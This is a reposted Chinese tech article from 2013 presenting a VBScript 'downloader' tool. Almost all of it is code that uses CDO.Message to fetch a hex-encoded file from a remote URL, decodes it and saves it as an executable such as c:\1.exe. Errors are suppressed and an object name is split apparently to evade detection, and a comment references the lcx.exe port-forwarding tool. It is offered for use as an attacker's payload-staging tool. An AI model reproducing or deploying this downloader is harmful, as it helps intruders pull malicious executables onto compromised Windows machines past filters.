最新版利用CDO.Message做的vbs下载者
作者 佚名
来源 ASP编程
浏览
发布时间 2013-07-09
=====================再用下面这个vbs脚本来下载,把hta生成的htm放到空间上,用NP写的那个下载生成的htm也可以,代码更少========= 复制代码 代码如下: ''//保存文件 function saveFile(filename,str) set adodbStream = CreateObject("ADODB" & "." & "Stream") adodbStream.Type= 1 adodbStream.Open adodbStream.write str adodbStream.SaveToFile filename,2 adodbStream.Close end function ''//VB数组转变成二进制格式 Function MultiByteToBinary(MultiByte) Dim RS, LMultiByte, Binary Const adLongVarBinary = 205 Set RS = CreateObject("ADODB.Recordset") LMultiByte = LenB(MultiByte) If LMultiByte>0 Then RS.Fields.Append "mBinary", adLongVarBinary, LMultiByte RS.Open RS.AddNew RS("mBinary").AppendChunk MultiByte & ChrB(0) RS.Update Binary = RS("mBinary").GetChunk(LMultiByte) End If MultiByteToBinary = Binary End Function function exec() ''//屏蔽错误 on error resume Next Set args = WScript.Arguments if args.Count = 0 then WScript.Echo "Usage: CScript down.vbs url c:\1.exe" WScript.Quit 1 end If dim data,t,kk,filename,ss Set Mail1 = CreateObject("CDO.Message") Mail1.CreateMHTMLBody args.Item(0) ,31 ''Mail1.CreateMHTMLBody "c:\xxx\lcx.exe-pf.htm",31 ss= Mail1.HTMLBody Set Mail1=nothing ''//得到数据 data = ss ''//得到文件名 filename = args.Item(1) ''//得到数据长度 u = len(data) ''//获得文件数组 for i=1 to u step 2 t = mid(data,i,2) kk = kk & ChrB(clng("&H" & t)) next ''//转变成二进制格式 dataArry = MultiByteToBinary(kk) ''//保存文件 saveFile filename,dataArry end function exec() |
凌众科技专业提供服务器租用、服务器托管、企业邮局、虚拟主机等服务,公司网站:http://www.lingzhong.cn 为了给广大客户了解更多的技术信息,本技术文章收集来源于网络,凌众科技尊重文章作者的版权,如果有涉及你的版权有必要删除你的文章,请和我们联系。以上信息与文章正文是不可分割的一部分,如果您要转载本文章,请保留以上信息,谢谢! |
你可能对下面的文章感兴趣
关于最新版利用CDO.Message做的vbs下载者的所有评论